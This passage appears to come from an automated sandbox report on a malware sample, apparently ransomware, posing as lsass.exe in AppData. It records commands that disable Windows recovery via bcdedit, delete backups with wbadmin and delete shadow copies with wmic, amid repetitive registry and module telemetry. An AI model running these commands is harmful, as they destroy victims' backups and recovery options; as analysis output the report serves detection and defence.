Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Windows\System32 True 1
Fn
Process #9: cmd.exe
58 0
»
Information Value
ID #9
File Name c:\windows\syswow64\cmd.exe
Command Line "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} recoveryenabled no
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:53, Reason: Child Process
Unmonitor End Time: 00:00:54, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0x8d8
Parent PID 0x838 (c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\lsass.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x 8DC
Host Behavior
File (15)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Windows\system32 type = file_attributes True 1
Fn
Get Info C:\Windows\System32 type = file_attributes True 1
Fn
Get Info STD_ERROR_HANDLE type = file_type True 1
Fn
Open STD_OUTPUT_HANDLE - True 5
Fn
Open STD_INPUT_HANDLE - True 3
Fn
Open STD_ERROR_HANDLE - True 3
Fn
Write STD_ERROR_HANDLE size = 98 True 1
Fn
Data
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\syswow64\cmd.exe base_address = 0x4a870000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 2
Fn
Get Filename - process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\Windows\SysWOW64\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadUILanguage, address_out = 0x76c4a84f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CopyFileExW, address_out = 0x76c53b92 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76c34a5d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76c4a79d True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-07-07 15:51:13 (UTC) True 1
Fn
Get Time type = Ticks, time = 118545 True 1
Fn
Get Time type = Performance Ctr, time = 17395264893 True 1
Fn
Environment (13)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 4
Fn
Data
Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Windows\System32 True 1
Fn
Process #10: cmd.exe
58 0
»
Information Value
ID #10
File Name c:\windows\syswow64\cmd.exe
Command Line "C:\Windows\system32\cmd.exe" /C wbadmin delete catalog -quiet
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:53, Reason: Child Process
Unmonitor End Time: 00:00:55, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0x8f0
Parent PID 0x838 (c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\lsass.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x 8F4
Host Behavior
File (15)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Windows\system32 type = file_attributes True 1
Fn
Get Info C:\Windows\System32 type = file_attributes True 1
Fn
Get Info STD_ERROR_HANDLE type = file_type True 1
Fn
Open STD_OUTPUT_HANDLE - True 5
Fn
Open STD_INPUT_HANDLE - True 3
Fn
Open STD_ERROR_HANDLE - True 3
Fn
Write STD_ERROR_HANDLE size = 98 True 1
Fn
Data
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\syswow64\cmd.exe base_address = 0x4a8b0000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 2
Fn
Get Filename - process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\Windows\SysWOW64\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadUILanguage, address_out = 0x76c4a84f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CopyFileExW, address_out = 0x76c53b92 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76c34a5d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76c4a79d True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-07-07 15:51:13 (UTC) True 1
Fn
Get Time type = Ticks, time = 118669 True 1
Fn
Get Time type = Performance Ctr, time = 17408201036 True 1
Fn
Environment (13)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 4
Fn
Data
Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Windows\System32 True 1
Fn
Process #11: cmd.exe
58 0
»
Information Value
ID #11
File Name c:\windows\syswow64\cmd.exe
Command Line "C:\Windows\system32\cmd.exe" /C wbadmin delete systemstatebackup
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:54, Reason: Child Process
Unmonitor End Time: 00:00:55, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0x908
Parent PID 0x838 (c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\lsass.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x 90C
Host Behavior
File (15)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Windows\system32 type = file_attributes True 1
Fn
Get Info C:\Windows\System32 type = file_attributes True 1
Fn
Get Info STD_ERROR_HANDLE type = file_type True 1
Fn
Open STD_OUTPUT_HANDLE - True 5
Fn
Open STD_INPUT_HANDLE - True 3
Fn
Open STD_ERROR_HANDLE - True 3
Fn
Write STD_ERROR_HANDLE size = 98 True 1
Fn
Data
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\syswow64\cmd.exe base_address = 0x4a290000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 2
Fn
Get Filename - process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\Windows\SysWOW64\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadUILanguage, address_out = 0x76c4a84f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CopyFileExW, address_out = 0x76c53b92 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76c34a5d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76c4a79d True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-07-07 15:51:13 (UTC) True 1
Fn
Get Time type = Ticks, time = 118825 True 1
Fn
Get Time type = Performance Ctr, time = 17422991373 True 1
Fn
Environment (13)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 4
Fn
Data
Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Windows\System32 True 1
Fn
Process #12: cmd.exe
58 0
»
Information Value
ID #12
File Name c:\windows\syswow64\cmd.exe
Command Line "C:\Windows\system32\cmd.exe" /C wbadmin delete systemstatebackup -keepversions:0
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:54, Reason: Child Process
Unmonitor End Time: 00:00:55, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0x920
Parent PID 0x838 (c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\lsass.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x 924
Host Behavior
File (15)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Windows\system32 type = file_attributes True 1
Fn
Get Info C:\Windows\System32 type = file_attributes True 1
Fn
Get Info STD_ERROR_HANDLE type = file_type True 1
Fn
Open STD_OUTPUT_HANDLE - True 5
Fn
Open STD_INPUT_HANDLE - True 3
Fn
Open STD_ERROR_HANDLE - True 3
Fn
Write STD_ERROR_HANDLE size = 98 True 1
Fn
Data
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\syswow64\cmd.exe base_address = 0x49e40000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 2
Fn
Get Filename - process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\Windows\SysWOW64\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadUILanguage, address_out = 0x76c4a84f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CopyFileExW, address_out = 0x76c53b92 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76c34a5d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76c4a79d True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-07-07 15:51:13 (UTC) True 1
Fn
Get Time type = Ticks, time = 118966 True 1
Fn
Get Time type = Performance Ctr, time = 17438144041 True 1
Fn
Environment (13)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 4
Fn
Data
Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Windows\System32 True 1
Fn
Process #13: cmd.exe
58 0
»
Information Value
ID #13
File Name c:\windows\syswow64\cmd.exe
Command Line "C:\Windows\system32\cmd.exe" /C wbadmin delete backup
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:54, Reason: Child Process
Unmonitor End Time: 00:00:55, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0x938
Parent PID 0x838 (c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\lsass.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x 93C
Host Behavior
File (15)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Windows\system32 type = file_attributes True 1
Fn
Get Info C:\Windows\System32 type = file_attributes True 1
Fn
Get Info STD_ERROR_HANDLE type = file_type True 1
Fn
Open STD_OUTPUT_HANDLE - True 5
Fn
Open STD_INPUT_HANDLE - True 3
Fn
Open STD_ERROR_HANDLE - True 3
Fn
Write STD_ERROR_HANDLE size = 98 True 1
Fn
Data
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\syswow64\cmd.exe base_address = 0x4a120000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 2
Fn
Get Filename - process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\Windows\SysWOW64\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadUILanguage, address_out = 0x76c4a84f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CopyFileExW, address_out = 0x76c53b92 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76c34a5d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76c4a79d True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-07-07 15:51:14 (UTC) True 1
Fn
Get Time type = Ticks, time = 119106 True 1
Fn
Get Time type = Performance Ctr, time = 17451218689 True 1
Fn
Environment (13)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 4
Fn
Data
Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Windows\System32 True 1
Fn
Process #14: cmd.exe
60 0
»
Information Value
ID #14
File Name c:\windows\syswow64\cmd.exe
Command Line "C:\Windows\system32\cmd.exe" /C wmic shadowcopy delete
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:54, Reason: Child Process
Unmonitor End Time: 00:01:00, Reason: Self Terminated
Monitor Duration 00:00:05
OS Process Information
»
Information Value
PID 0x950
Parent PID 0x838 (c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\lsass.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x 954
Host Behavior
File (10)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Windows\system32 type = file_attributes True 1
Fn
Get Info C:\Windows\System32 type = file_attributes True 1
Fn
Open STD_OUTPUT_HANDLE - True 5
Fn
Open STD_INPUT_HANDLE - True 3
Fn
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
